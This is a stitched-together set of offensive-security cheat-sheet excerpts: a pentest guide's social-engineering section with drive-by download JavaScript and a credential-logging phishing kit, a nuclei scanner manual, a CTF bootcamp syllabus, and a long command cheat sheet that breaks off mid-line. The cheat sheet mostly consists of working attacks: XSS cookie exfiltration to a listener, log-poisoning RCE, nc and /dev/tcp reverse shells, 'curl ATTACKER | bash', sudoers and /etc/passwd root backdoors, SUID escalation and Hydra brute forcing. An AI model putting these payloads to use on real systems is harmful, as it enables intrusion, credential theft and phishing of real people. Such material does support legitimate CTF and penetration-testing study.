[Hydra](#hydra), [Burp Suite Intruder](https://portswigger.net/burp/documentation/desktop/tools/intruder/using), etc. to crack web login forms. P.S. Hydra can attack authentication mechanisms on all kinds of services/ports. If strong password policy is enforced, passwords usually start with one capitalized word followed by a few digits and one special character at the end (e.g. Password123!). You can also use the generated wordlist with [hashcat](#hashcat), e.g. to crack NTLMv2 hashes that you have collected using LLMNR responder, etc. ## 6. Social Engineering Find out how to embed a PowerShell script into an MS Word document from my other [project](https://github.com/ivan-sincek/powershell-reverse-tcp#ms-word). ### Drive-by Download To force users to download a malicious file, copy and paste this JavaScript code block on a cloned web page: ```javascript function download(url, type, name, method) { var req = new XMLHttpRequest(); req.open(method, url, true); req.responseType = 'blob'; req.onload = function() { var blob = new Blob([req.response], { type: type }) var isIE = false || !!document.documentMode; if (isIE) { // IE doesn't allow using a blob object directly as link // instead it is necessary to use msSaveOrOpenBlob() if (window.navigator && window.navigator.msSaveOrOpenBlob) { window.navigator.msSaveOrOpenBlob(blob, name); } } else { var anchor = document.createElement('a'); anchor.href = window.URL.createObjectURL(blob); anchor.download = name; anchor.click(); // in Firefox it is necessary to delay revoking the ObjectURL setTimeout(function() { window.URL.revokeObjectURL(anchor); anchor.remove(); }, 250); } }; req.send(); } // specify your file here, use only an absolute URL download('http://localhost/files/pentest.pdf', 'application/pdf', 'pentest.pdf', 'GET'); // download('http://localhost/files/pentest.docx', 'plain/txt', 'pentest.docx', 'GET'); ``` To try it out, copy all the content from [\\social_engineering\\driveby_download\\](https://github.com/ivan-sincek/penetration-testing-cheat-sheet/tree/master/social_engineering/driveby_download) to your server's web root directory (e.g. to \\xampp\\htdocs\\ on XAMPP), and navigate to the web page with your preferred web browser. ### Phishing Website To try it out, copy all the content from [\\social_engineering\\phishing_website\\](https://github.com/ivan-sincek/penetration-testing-cheat-sheet/tree/master/social_engineering/phishing_website) to your server's web root directory (e.g. to \xampp\htdocs\ on XAMPP), and navigate to the web page with your preferred web browser. Captured credentials will be stored in [\\social_engineering\\phishing_website\\logs\\credentials.log](https://github.com/ivan-sincek/penetration-testing-cheat-sheet/tree/master/social_engineering/phishing_website/logs). <p align="center"><img src="https://github.com/ivan-sincek/penetration-testing-cheat-sheet/blob/master/img/phishing_website.jpg" alt="Phishing Website"></p> <p align="center">Figure 2 - Phishing Website</p> --- Read the comments in [\\social_engineering\\phishing_website\\index.php](https://github.com/ivan-sincek/penetration-testing-cheat-sheet/blob/master/social_engineering/phishing_website/index.php) to get a better understanding on how all of it works. You can modify and expand this template to your liking. You have everything that needs to get you started. You can easily customize [CSS](https://github.com/ivan-sincek/penetration-testing-cheat-sheet/blob/master/social_engineering/phishing_website/css/main.css) to make it look more like the company you are testing, e.g. change colors, logo, etc. Check the standalone redirect templates in [\\social_engineering\\phishing_website\\redirects\\](https://github.com/ivan-sincek/penetration-testing-cheat-sheet/blob/master/social_engineering/phishing_website/redirects) directory. --- Use SingleFile ([Chrome](https://chrome.google.com/webstore/detail/singlefile/mpiodijhokgodhhofbcjdecpffjipkle))([FireFox](https://addons.mozilla.org/hr/firefox/addon/single-file)) browser extension to download a web page as a single HTML file, then, rename the file to `index.php`. ## 7. Miscellaneous Here you can find a bunch of random stuff. ### 7.1 Useful Websites * [jsonlint.com](https://jsonlint.com) * [base64decode.org](https://www.base64decode.org) * [urldecoder.org](https://www.urldecoder.org) * [raikia.com/tool-powershell-encoder](https://raikia.com/tool-powershell-encoder) * [bitly.com](https://bitly.com) (URL shortener) * [getcreditcardnumbers.com](https://www.getcreditcardnumbers.com) (dummy credit card info) ### cURL Download a file: ```fundamental curl somesite.com/somefile.txt -o somefile.txt ``` Upload a file: ```fundamental curl somesite.com/uploads/ -T somefile.txt ``` Find out how to test a web server for various HTTP methods and method overrides from my other [project](https://github.com/ivan-sincek/forbidden). | Option | Description | | --- | --- | | -d | Sends the specified data in a POST request to the HTTP server | | -H | Extra header to include in the request when sending HTTP to a server | | -i | Include the HTTP response headers in the output | | -k | Proceed and operate server connections otherwise considered insecure | | -o | Write to file instead of stdout | | -T | Transfers the specified local file to the remote URL, same as PUT method | | -v | Make the operation more talkative | | -x | Use the specified proxy (\[protocol://\]host\[:port\]) | | -X | Specifies a custom request method to use when communicating with the HTTP server | ### Ncat \[Server\] Set up a listener: ```fundamental ncat -nvlp 9000 ncat -nvlp 9000 > received_data.txt ncat -nvlp 9000 -e /bin/bash ncat -nvlp 9000 -e /bin/bash --ssl ncat -nvlp 9000 --ssl-cert crt.pem --ssl-key key.pem ncat -nvlp 9000 --keep-open <<< "HTTP/1.1 200 OK\r\n\r\n" ``` \[Client\] Connect to a remote host: ```fundamental ncat -nv 192.168.8.5 9000 ncat -nv 192.168.8.5 9000 < sent_data.txt ncat -nv 192.168.8.5 9000 -e /bin/bash ncat -nv 192.168.8.5 9000 -e /bin/bash --ssl ncat -nv 192.168.8.5 9000 --ssl-cert crt.pem --ssl-key key.pem ``` Check if connection to a specified TCP port (e.g. port 22 or 23) is possible: ```bash for i in {0..255}; do ncat -nv "192.168.8.${i}" 9000 -w 2 -z 2>&1 | grep -Po '(?<=Connected\ to\ )[^\s]+(?=\.)'; done for ip in $(cat ips.txt); do ncat -nv "${ip}" 9000 -w 2 -z 2>&1 | grep -Po '(?<=Connected\ to\ )[^\s]+(?=\.)'; done ``` Find out how to create an SSL/TLS certificate from my other [project](https://github.com/ivan-sincek/secure-website/tree/master/crt). ### multi/handler Set up a listener (change the PAYLOAD, LHOST, and LPORT as necessary): ```fundamental msfconsole -q use exploit/multi/handler set PAYLOAD windows/shell_reverse_tcp set LHOST 192.168.8.185 set LPORT 9000 exploit ``` ### ngrok Use [ngrok](https://ngrok.com/download) to give your local web server a public address, but do not expose the web server for too long if it is not properly hardened due to security concerns. I advise you not to transfer any sensitive data over it, just in case. ### Additional References Credits to the authors! * [infosecmatter.com/bug-bounty-tips](https://www.infosecmatter.com/bug-bounty-tips) * [pentestbook.six2dez.com](https://pentestbook.six2dez.com)
## Usage ``` docker run -it --rm -v $(pwd):/data nuclei -l $url_input -t /templates/cves/CVE-2020-9484.yaml -c 12 docker run -it --rm -v $(pwd):/data nuclei -target $url -t /templates/ -c 12 ``` ## Manual ``` Usage of nuclei: -H value Custom Header. -c int Number of concurrent requests to make (default 10) -debug Allow debugging of request/responses -json Write json output to files -l string List of URLs to run templates on -nC Don't Use colors in output -o string File to write output to (optional) -proxy-socks-url string URL of the proxy socks server -proxy-url string URL of the proxy server -retries int Number of times to retry a failed request (default 1) -silent Show only results in output -t value Template input file/files to run on host. Can be used multiple times. -target string Target is a single target to scan using template -timeout int Time to wait in seconds before timeout (default 5) -update-directory string Directory to use for storing nuclei-templates -update-templates Update Templates updates the installed templates (optional) -v Show Verbose output -version Show version of nuclei ```
[Brush up your SQL skills with the advanced options](https://github.com/Ignitetechnologies/MSSQL-Pentest-Cheatsheet)
# b01lers Bootcamp 2020 Training # Table of Contents 1. [General](#general) 2. [How To Learn](#howto) 3. [Web Exploitation](#web) 4. [Reverse Engineering](#re) 5. [Cryptography](#crypto) 6. [Binary Exploitation](#pwn) 7. [Hardware Hacking + RF](#hardware) 8. [Penetration Testing](#pentesting) 9. [Resources + Practice](#resources) 10. [Tools](#tools) ## General <a name="general" /> This repository is the master repo for the b01lers CTF team's training materials. The intent of this material is to teach our team's new members how to play CTF by teaching in as short a time as possible the basics of every category of challenge typically seen. ***Disclaimer***: Some of the materials contained within *may* be harmful if misused. b01lers does not endorse using any of this information for evil, it is provided _ONLY_ for educational purposes. ## How To Learn <a name="howto" /> The best way to learn CTF is to practice. To this end, we have provided a self-contained [docker](https://www.docker.com/) container to remove the environment setup barrier of entry. A docker container is similar to a virtual machine and will allow you to run our customized pre-setup machine to go through all the training with. That docker container's source can be found [here](https://github.com/b01lers/bootcamp-docker-2020) along with installation instructions. Our youtube channel has install instructions for MacOS, Linux, and Windows [here](https://www.youtube.com/watch?v=a66mwylcXVU&list=PLdGU-K4Khkr_vuAVPbIBPgDfi9jq3PuYl). The content in this repository was designed to be used alongside a presenter. You can find the video training sessions [here](https://www.youtube.com/playlist?list=PLdGU-K4Khkr8iqzOdjKKj1QLmJJnks5fO) Our recommendation if you want to learn to play CTF is this: - Watch and work along with all of the bootcamp training sessions. - Identify which category you are most interested in based on what you've learned. - Focusing on that category, use the resources and practice to learn and *play* as much as possible. Ultimately, the way to become a `1337` hacker is to play CTF as much as possible, but we hope this is a good introduction. Please feel free to make an issue for any recommendations, edits, etc. ## Web Exploitation <a name="web" /> #### [Day 1](https://www.youtube.com/watch?v=FvSDpqVoeNQ): - Basic developer tools: - Inspect Element - JS Console - Builtin Debugger - Network and storage - Javascript + client side validation - HTML + CSS - HTTP methods and internet infrastructure - CURL + Postman #### [Day 2](https://www.youtube.com/watch?v=k962ILypsvM): - PHP - Sessions - Hashing and type confusion - Databases and SQL Injection - Cross-Site Scripting (XSS) - Persistent - Reflected - DOM - Burp Suite #### Extras: - [Burp Suite Demo](https://www.youtube.com/watch?v=F_CuwnTUc54) - [PHP XSS Demo](https://www.youtube.com/watch?v=RStTjA32f8A) ## Reverse Engineering <a name="re" /> #### [Day 1](https://www.youtube.com/watch?v=j6nj3uMp-dg) `rev/day_1/slides`: - Hardware and Data Representations - Language Types `rev/day_1/01-language-types` - Compiled - Intepreted - JIT - Bytecode compiled - Compiled languages - The C compiler `rev/day_1/02-compilation-steps` - ELF format `rev/day_1/03-readelf-sections` - Linux system calls + how programs are run `rev/day_1/04-running-programs-on-linux` - Introduction to GDB and debugging - The dynamic loader (interpreter) `rev/day_1/05-dynamic-call` - Program images in memory - Introduction to assembly language `rev/day_1/06-dynamic-call-asm` - Important x86-64 instructions - Stack and Heap - Stack frames + function calls - Calling convention + ABI - High level RE process - Assembly construct: selection `rev/day_1/07-selection-challenge` #### [Day 2](https://www.youtube.com/watch?v=9zhFV-j8VyE): - Assembly construct: selection (review) `rev/day_2/00-selection` - Assembly construct: iteration `rev/day_2/02-iteration` - Structures `rev/day_2/03-data-structures` - Parameter passing `rev/day_2/01-function-calls` - Advanced Ghidra features - Decompilation - Struct editor - CFG - Obfuscation, stripping, optimization ## Cryptography <a name="crypto" /> #### [Day 1](https://www.youtube.com/watch?v=LIDevHuNbpA): - What is Cryptography: - Substitution Ciphers - Caesar Ciphers - Modular Arithmetic - Representation of Data - XOR - Properties - Applications - RSA Preview #### [Day 2](https://www.youtube.com/watch?v=UswI_weqY7Q): - Diffie-Hellman - Asymmetric and Symmetric Cryptography - RSA ## Binary Exploitation <a name="pwn" /> #### [Day 1](https://www.youtube.com/watch?v=za4cjoUujTk): - pwntools - Stack Overflows - Return Oriented Programming - Partial Overwrites - Global Offset Table & Libc #### [Day 2](https://www.youtube.com/watch?v=svicu1gyfek): - Protections Overview - Stack Canaries & Ret2Libc - printf - Intro to Heap ## Hardware Hacking + RF <a name="hardware" /> #### [Day 1](https://www.youtube.com/watch?v=MAXv9pd45Kw) - Board components - Interfaces - Firmware acquisition ## Penetration Testing <a name="pentesting" /> ## Resources + Practice <a name="resources" /> ### General - [Awesome CTF](https://github.com/apsdehal/awesome-ctf) ### Web Exploitation - [https://xss-game.appspot.com/](https://xss-game.appspot.com/) - [https://www.hackthebox.eu/](https://www.hackthebox.eu/) - [https://www.hackthissite.org/](https://www.hackthissite.org/) - [http://www.dvwa.co.uk/](http://www.dvwa.co.uk/) - [https://tryhackme.com/](https://tryhackme.com/) ### Reverse Engineering REcommended Reading: - Hacking: The Art of Exploitation, by Jon Erickson - Reversing: Secrets of Reverse Engineering, by Eldad Eilam - Assembly Language for Intel-Based Computers, by Kip R. Irvine - Practical Reverse Engineering: x86, x64, ARM, Windows Kernel, Reversing Tools, and Obfuscation, by Dang, Gazet, Bachaalany - Practical Binary Analysis, by Dennis Andriesse - The Ghidra Book, by Chris Eagle and Kara Nance - Just look through [here](https://nostarch.com/catalog/security) really. REcommended Tutorials + References: - [Azeria ARM Tutorial](https://azeria-labs.com/writing-arm-assembly-part-1/) - [x86 Instruction Reference](https://www.felixcloutier.com/x86/) - [Intel Official x86 Reference](https://software.intel.com/content/www/us/en/develop/articles/intel-sdm.html) - [RPISEC Malware Analysis](https://github.com/RPISEC/Malware) REcommended Practice: - [Challenges.re](https://challenges.re/) - [Crackmes.one](https://crackmes.one/) - [Microcorruption](https://microcorruption.com/) - [Reversing.kr](https://reversing.kr/challenge.php) - [OSX Crackme](https://reverse.put.as/crackmes/) - [Pwnable.XYZ](https://pwnable.xyz/challenges/) - [W3Challs.com](https://w3challs.com/challenges/list/reversing) - [io.netgarage.org](http://io.netgarage.org/) - [Crackme Forum](https://0x00sec.org/c/reverse-engineering/challenges/13) - [crackmes.de (mirror)](https://tuts4you.com/e107_plugins/download/download.php?view.3152) ### Cryptography ### Binary Exploitation References/Practive: - [CTF Wiki](https://ctf-wiki.github.io/ctf-wiki/index-en/) - [malloc.c](https://sources.debian.org/src/glibc/2.28-10/malloc/malloc.c/) - [how2heap](https://github.com/shellphish/how2heap) - [RPISEC MBE](https://github.com/RPISEC/MBE) Practice: - [Pwn College](https://pwn.college/) - [ROP Emporium](https://ropemporium.com) ## Tools <a name="tools" /> - [Pwndbg](https://github.com/pwndbg/pwndbg) - [GEF](https://github.com/hugsy/gef) <details><summary>SEO</summary> <p> Reverse Engineering, RE, Awesome, Tutorial, Guide, Learn, Exploitation, CTF, Capture The Flag, Cryptography, Practical, Pwn, pwn, PWN, Binary Exploitation, Web Exploitation, Web CTF, RE CTF, Pwn CTF, Crypto CTF, Training, Bootcamp, bootcamp, Purdue, University, b01lers, b01lers bootcamp, ctf challenges, practice ctf, ctf teaching </p> </details>
# Table of Contents ## Networking * [Host Discovery](#Host-Discovery) * [Port Scanning](#Port-Scanning) * [Subdomains](#Subdomains) * [MAC Changer](#MAC-Changer) ## WEB * [WEB Analysis](#WEB-Analysis) * [WordPress](#WordPress) * [AWS S3](#AWS-S3) * [WEB Server](#WEB-Server) * [XSS](#XSS) * [SQL Injection](#SQL-Injection) * [PHP Uploading Bypass](#PHP-Uploading-Bypass) * [Port Tunnelling](#Port-Tunnelling) * [WEB Fuzz](#WEB-Fuzz) * [Jserv](#Jserv) * [Log Poisoning](#Log-Poisoning) ## Protocols * [HTTP](#HTTP) * [FTP](#FTP) * [SMB](#SMB) * [Pop3](#Pop3) * [SSH](#SSH) * [SCP](#SCP) * [MySQL](#MySQL) * [MsSQL](#MsSQL) * [NFS](#NFS) * [RDP](#RDP) ## Brute Forcing * [Hash Analysis](#Hash-Analysis) * [Brute Force](#Brute-Force) ## Linux * [Shell Spawn](#Shell-Spawn) * [Abusing Shell](#Abusing-Shell) * [SUID](#SUID) * [Capabilities](#Capabilities) * [Path](#Path) * [Sudo](#Sudo) * [Sudoers](#Sudoers) * [Netcat](#Netcat) * [Curl](#Curl) * [Payloads](#Payloads) * [Linux Password](#Linux-Password) * [Custom Wordlists](#Custom-Wordlists) * [Crontab](#Crontab) * [LXD Privilege Escalation](#LXD-Privilege-Escalation) * [Docker Privilege Escalation](#Docker-Privilege-Escalation) * [Reverse Engineering](#Reverse-Engineering) ## Windows * [Reverse Shell](#Windows-Reverse-Shell) * [Windows Password](#Windows-Password) * [Pass the Hash Attack](#Pass-the-Hash-Attack) * [Kerberos](#Kerberos) * [PowerShell](#PowerShell) * [PowerView](#PowerView) * [Looting](#Looting) * [Bloodhound](#Bloodhound) * [WiFi](#WiFi) * [Permissions](#Permissions) ## Encoding / Cryptography * [Base64](#Base64) * [Base32](#Base32) * [Base58](#Base58) * [GPG](#GPG) * [OpenSSL](#OpenSSL) * [Steganography](#Steganography) * [Files Signatures](#Files-Signatures) ## Scripts * [Decimal to ASCII](#Decimal-to-ASCII) * [Binary to Decimal](#Binary-to-Decimal) * [Binary to ASCII](#Binary-to-ASCII) * [Hex to ASCII](#Hex-to-ASCII) * [ASCII to Char](#ASCII-to-Char) * [Extract All File in Directory](#Extract-All-File-in-Directory) * [Directory Files Iteration](#Directory-Files-Iteration) * [Preload](#Preload) * [Library Hijack](#Library-Hijack) * [C Shell Spawn](#C-Shell-Spawn) * [Dump Flags](#Dump-Flags) * [Send File with NetCat](#Send-File-with-NetCat) ## Frameworks * [Metasploit](#Metasploit) # Host Discovery ``` netdiscover -r {NETWORK}/{MASK} ``` ``` nmap -sV {NETWORK}/{MASK} ``` # Port Scanning ### Nmap ``` # Simple Scan nmap {TARGET} # Port Range Scan nmap -p {MIN}-{MAX} {TARGET} # All Ports Scan nmap -p- {TARGET} # Complete Scan nmap -A -T4 -p- {TARGET} # SYN Scan nmap -sS -T4 -p- {TARGET} # Script Scan Default nmap --script=default {TARGET} # Script Scan Vulnerabilities nmap --script=vuln {TARGET} # Search Nmap Scripts ls -lah /usr/share/nmap/scripts ``` # Subdomains ### OWASP AMASS ``` amass enum -active -d {DOMAIN} -brute -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt ``` # MAC Changer ``` # Check current MAC Address macchanger -s {INTERFACE} # Change MAC Address to Random Value ifconfig {INTERFACE} down macchanger -r {INTERFACE} ifconfig {INTERFACE} up # Change MAC Address to Specific Value ifconfig {INTERFACE} down macchanger --mac 12:34:56:78:90:AB {INTERFACE} ifconfig {INTERFACE} up # Restore Original MAC Address ifconfig {INTERFACE} down macchanger -p {INTERFACE} ifconfig {INTERFACE} up ``` # WEB Analysis ### Nikto ``` nikto -h {TARGET} ``` ### Dirb ``` dirb {TARGET} ``` ### GoBuster ``` gobuster dir -t 50 -u {TARGET} -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.txt,.js,/,.html gobuster dir -t 50 -u {TARGET} -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-big.txt -x .php,.txt,.js,/,.html --wildcard ``` ### Get Page Content ``` wget -r {TARGET} ``` # WordPress ### Analysis ``` # Simple Scan wpscan --url {TARGET} # Complete Scan wpscan -e ap,at --url {TARGET} # Looking for vulnerabilities wpscan -e vp,vt --url {TARGET} # User Enummeration wpscan -e u --url {TARGET} ``` ### Update Datase Password Hash ``` echo -n "password" | md5sum 5f4dcc3b5aa765d61d8327deb882cf99 mysql> UPDATE {TABLE} SET {FIELD}='5f4dcc3b5aa765d61d8327deb882cf99' WHERE ID={ID}; ``` # AWS S3 ### List Bucket Files ``` curl {BUCKET_NAME}.s3.amazonaws.com | xmllint --format - ``` ### Download File ``` curl {BUCKET_NAME}.s3.amazonaws.com/{FILE} ``` # WEB Server ``` # Server up in current directory python -m SimpleHTTPServer 8080 python -m http.server 8080 # GET wget http://{TARGET}:{PORT}/{URI} curl http://{TARGET}:{PORT}/{URI} ``` # XSS ### Validation ``` <script>alert('XSS Works')</script> </p><script>console.log("XSS Works")</script><p> <img src=x onerror=alert('XSS Works')> ``` ### Acquiring Cookies ``` nc -lvnp 80 </p><script>window.location = 'http://{LOCAL_IP}/page?param=' + document.cookie </script><p> ``` # SQL Injection ### Version ``` # MySQL and MSSQL @@version # Oracle SELECT banner FROM v$version) # SQLite sqlite_version() ``` ### SQLite ``` # Table names SELECT group_concat(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' # List table fields SELECT sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='{TABLE}' # Dump table fields SELECT group_concat({FIELD_1} || "," || {FIELD_2} || "," || {FIELD_3} || ":") from {TABLE} ``` ### SQLMap Analysis ``` # GET URL Parameter sqlmap -u "http://example.com/search.php?q=" -p "q" --level=3 --risk=3 --random-agent --batch ``` ``` # POST Paramenter where login.req is a text file with a login POST intercepted by Burp sqlmap -r login.req -p "{POST_PARAMETER_1},{POST_PARAMETER_2}" --level=3 --risk=3 --random-agent --batch ``` ``` # Navigation sqlmap -r login.req -p {PARAMETER} --batch --current-db sqlmap -r login.req -p {PARAMETER} --batch -D {DB} --schema sqlmap -r login.req -p {PARAMETER} --batch -D {DB} --tables sqlmap -r login.req -p {PARAMETER} --batch -D {DB} -T {TABLE} --columns sqlmap -r login.req -p {PARAMETER} --batch -D {DB} -T {TABLE} -C {FIELD_1},{FIELD_2},{FIELD_3} --dump ``` # PHP Uploading Bypass ``` # .php # .php3 # .php4 # .php5 # .phtml mv reverse_shell.php reverse_shell.phtml ``` # Port Tunnelling ### Using SSH ``` ssh -N -L {PORT}:127.0.0.1:{PORT} {USER}@{TARGET} # With Key ssh -N -L {PORT}:127.0.0.1:{PORT} -i {KEY} {USER}@{TARGET} ``` # WEB Fuzz ### Parameter ``` # URL Parameter wfuzz -c -z file,/usr/share/wordlists/rockyou.txt http://{TARGET}/example/example.php?{PARAMETER}=FUZZ # POST Data wfuzz -c -z file,/usr/share/wordlists/rockyou.txt -d "{PARAMETER_1}=FUZZ&{PARAMETER_2}=FUZZ" -u http://{TARGET}/example.php ``` ### Subdomain ``` wfuzz -c --hw 977 -u http://{TARGET} -H "Host: FUZZ.{TARGET}" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt ``` # Jserv ``` # Get ajpShooter wget https://raw.githubusercontent.com/00theway/Ghostcat-CNVD-2020-10487/master/ajpShooter.py # Run ajpShooter python3 ajpShooter.py http://{TARGET} {PORT} /WEB-INF/web.xml read ``` # Log Poisoning Apache log poisoning using User-Agent. This will make possible a RCE through LFI by reading apache logs. ``` # Poisoning curl http://{TARGET} -A "<?php system(\$_GET['cmd']);?>" # LFI to run the command id passed in 'cmd' parameter $ curl http://{TARGET}/lfi.php?page=/var/log/apache2/access.log&cmd=id ``` # HTTP ### URL Scapping ``` # %20 = Space # %2f = / curl http://example.com/api/cmd/ls%20%2fhome ``` ### Reverse Shell Example ``` # Listen nc -lvnp {LOCAL_PORT} # Request with: bash -i >& /dev/tcp/{LOCAL_IP}/{LOCAL_PORT} 0>&1 http://example.com/api/cmd/bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F{LOCAL_IP}%2F{LOCAL_PORT}%200%3E%261 ``` # FTP ``` # Access nc {TARGET} 21 # Access ftp {TARGET} # Download file to current directory ftp> ls ftp> get {FILE} # Download multiple files to current directory ftp> mget {DIRECTORY} # pwd ftp> pwd ``` # SMB ``` # Enum4Linux enum4linux -U -S {TARGET} # Nmap Analysis nmap -p 445 --script=smb-enum-shares.nse,smb-enum-users.nse {TARGET} # Disks list smbmap -H {TARGET} # Disks list with user auth smbmap -u {USER} -p {PASSWORD} -H {TARGET} # Connection smbclient //{TARGET}/{DISK} # Download file to current directory smb: \> dir smb: \> get {FILE} ``` # Pop3 ``` # Connection nc {TARGET} pop3 # Actions > LIST > RETR {ID} ``` # SSH ### Connection ``` # Password Auth ssh {USER}@{IP} # Key Auth in specific port ssh {USER}@{IP} -i {KEY} -p {PORT} ``` ### Key Generation ``` ssh-keygen -f {FILE} ``` # SCP ``` # Local to remote scp {LOCAL_PATH} {USER}@{IP}:{REMOTE_PATH} # Remote to Local scp {USER}@{IP}:{REMOTE_PATH} {LOCAL_PATH} # Key Auth in Specific Port scp -i {KEY} -p {PORT} {USER}@{IP}:{REMOTE_PATH} {LOCAL_PATH} ``` # MySQL ### Connection ``` mysql -u {USER} -h {TARGET} -p {PASSWORD} ``` ### Actions ``` mysql> show databases; mysql> use {DATABASE}; mysql> show tables; mysql> describe {TABLE}; mysql> SELECT {FIELD_1},{FIELD_2} FROM {TABLE}; ``` # MsSQL ### Connection ``` # Impacket python3 mssqlclient.py -port {PORT} {USER}@{TARGET} -windows-auth ``` ### Actions ``` # List Tables SQL> SELECT * FROM INFORMATION_SCHEMA.TABLES; # List Tables of Specific DB SQL> SELECT * FROM {DB_NAME}.INFORMATION_SCHEMA.TABLES; ``` # NFS ### List Mount Points ``` # Nmap Analysis nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount {TARGET} # Showmount showmount -e {TARGET} # Exports cat /etc/exports ``` ### Mount ``` sudo mount -t nfs -o nolock {TARGET}:{MOUNT_POINT} {LOCAL_PATH} ``` ### Umount ``` sudo umount {LOCAL_PATH} ``` # RDP ``` xfreerdp /u:{USER} /p:{PASS} /v:{TARGET} ``` ``` remmina ``` # Hash Analysis ### Hashcat Hash Examples [hashcat.net](https://hashcat.net/wiki/doku.php?id=example_hashes) ### Hash Identifier ``` hash-identifier {HASH} ``` ### HashID ``` hashid -mj {HASH} ``` # Brute Force ### Hash ``` hashcat -m {MODE} {HASH_FILE} /usr/share/wordlists/rockyou.txt ``` ``` john --wordlist=/usr/share/wordlists/rockyou.txt {HASH_FILE} john --show {HASH_FILE} ``` ### SSH ``` hydra -l {USER} -P /usr/share/wordlists/rockyou.txt ssh://{TARGET} ``` ### FTP ``` hydra -l {USER} -P /usr/share/wordlists/rockyou.txt ftp://{TARGET} ``` ### SSH Key ``` /usr/share/john/ssh2john.py {SSH_KEY_FILE} > {SSH_KEY_FILE}.john john --wordlist=/usr/share/wordlists/rockyou.txt {SSH_KEY_FILE}.john ``` ### ZIP ``` /usr/share/john/zip2john {ZIP_FILE} > {ZIP_FILE}.hash john --wordlist='{WORDLIST_PATH}' {ZIP_FILE}.hash john --show {ZIP_FILE}.hash ``` ``` fcrackzip -u -D -p '/usr/share/wordlists/rockyou.txt' {ZIP_FILE} ``` ### WordPress Login ``` hydra -l {USER} -P /usr/share/wordlists/rockyou.txt -f {TARGET} http-post-form "/weblog/wp-login.php:log=^USER^&pwd=^PASS^:login_error" ``` ``` wpscan --url {TARGET} -U {USERS_LIST} -P /usr/share/wordlists/rockyou.txt ``` ### Pop3 ``` hydra -l {USER} -P /usr/share/wordlists/rockyou.txt {TARGET} -f pop3 ``` ### MySQL ``` hydra -l {USER} -P /usr/share/wordlists/rockyou.txt {TARGET} -f mysql ``` ### PGP File ``` gpg2john {FILE} > {FILE}.john john --wordlist=/usr/share/wordlists/rockyou.txt {FILE}.john ``` # Shell Spawn ### Python ``` python -c 'import pty;pty.spawn("/bin/bash")' python3 -c 'import pty;pty.spawn("/bin/bash")' ``` ### Bash ``` /suid/bash/binary -p ``` # SUID ``` # SUID find / -type f -perm -u=s 2>/dev/null # SUID + GUID find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null ``` # Capabilities ``` getcap -r / 2>/dev/null ``` # Path Adding /tmp directory with a malicious "tar" binary in the Path: ``` echo "/bin/bash" > /tmp/tar chmod +x /tmp/tar export PATH="/tmp:$PATH" echo $PATH ``` # Abusing Shell ### 1) ``` $ ls -lah /suid/binary -rwsr-sr-x 1 root staff 6.8K May 14 2017 /suid/binary $ strings /suid/binary service apache2 start $ gcc -o service /absolte/path/shell_spawn.c $ PATH=.:$PATH /suid/binary ``` ### 2) ``` $ /bin/bash --version # Version need to be less than 4.2-048 $ ls -lah /suid/binary -rwsr-sr-x 1 root staff 6.8K May 14 2017 /suid/binary $ strings /suid/binary /usr/sbin/service apache2 start $ function /usr/sbin/service { /bin/bash -p; } $ export -f /usr/sbin/service $ /suid/binary ``` ### 3) ``` $ /bin/bash --version # Version need to be less than 4.4 $ ls -lah /suid/binary -rwsr-sr-x 1 root staff 6.8K May 14 2017 /suid/binary $ env -i SHELLOPTS=xtrace PS4='$(cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash)' /suid/binary $ /tmp/rootbash -p ``` ### 4) ``` # Remote target with "no_root_squash,insecure" NFS flags enabled # Remote target with /home/user mounted in host /tmp/mnt # Run in target $ cp /bin/bash /home/user/bash # Run in host $ sudo chown root:root /tmp/mnt/bash $ sudo chmod 4777 /tmp/mnt/bash # Run in target $ /home/user/bash -p ``` # Sudo ### List Policy ``` sudo -l ``` ### Run as User ``` sudo -u {USER} {COMMAND} ``` # Sudoers ``` # {USER} ALL=(ALL) NOPASSWD: ALL echo "{USER} ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers ``` # Netcat ### Listen ``` nc -lcnp {PORT} ``` ### Reverse Shell ``` nc -e /bin/sh {IP} {PORT} bash -i >& /dev/tcp/{IP}/{PORT} 0>&1 ``` ### Reverse Shell Using Backpipe ``` mknod /tmp/backpipe p /bin/sh 0</tmp/backpipe | nc {IP} {PORT} 1>/tmp/backpipe ``` # Curl ### Run script content ``` curl http://{ATTACKER}/script.sh | bash ``` # Payloads ### Linux Reverse Python Raw ``` msfvenom -p cmd/unix/reverse_python LHOST={HOST_IP} LPORT={HOST_PORT} -f raw ``` # Linux Password ### /etc/shadow ``` mkpasswd -m sha-512 root $6$bAzyC2dw/9TlXnh$EdycGclOk2oAWJ3ewD0jAebV4E0f15i79Ej4QC0hG/3ILILbSNckjNRQZn0ggnjPqXdgjX2kvzMDRJ5nzhZQG1 ``` ### /etc/passwd ``` # Generate Password Hash openssl passwd password wI1Q.j5MF3peQ # Add 'newroot' User echo "newroot:wI1Q.j5MF3peQ:0:0:root:/root:/bin/bash" >> /etc/passwd # Generate Password Hash With Salt openssl passwd -1 -salt root root $1$root$9gr5KxwuEdiI80GtIzd.U0 ``` # Custom Wordlists ### Cewl ``` cewl http://192.168.1.101/index.html > wordlist.txt cewl {FILE} > wordlist.txt cewl {URL} > wordlist.txt ``` # Crontab ### List Jobs ``` crontab -l cat /etc/crontab ``` ### Edit ``` crontab -e # * * * * * <command to be executed> # - - - - - # | | | | | # | | | | ----- Weekday (0 - 7) (Sunday is 0 or 7, Monday is 1...) # | | | ------- Month (1 - 12) # | | --------- Day (1 - 31) # | ----------- Hour (0 - 23) # ------------- Minute (0 - 59) ``` # LXD Privilege Escalation ### LXD Group ``` $ id ... groups=108(lxd) ... ``` ### Attacker Machine ``` # Clone repository git clone https://github.com/saghul/lxd-alpine-builder.git # Build image package sudo ./lxd-alpine-builder/build-alpine # Rename image package mv alpine-v3.13-x86_64-20210426_2250.tar.gz alpine.tar.gz # Transfer file to target machine # Ex1.: python -m SimpleHTTPServer 80 # Ex2.: scp alpine.tar.gz 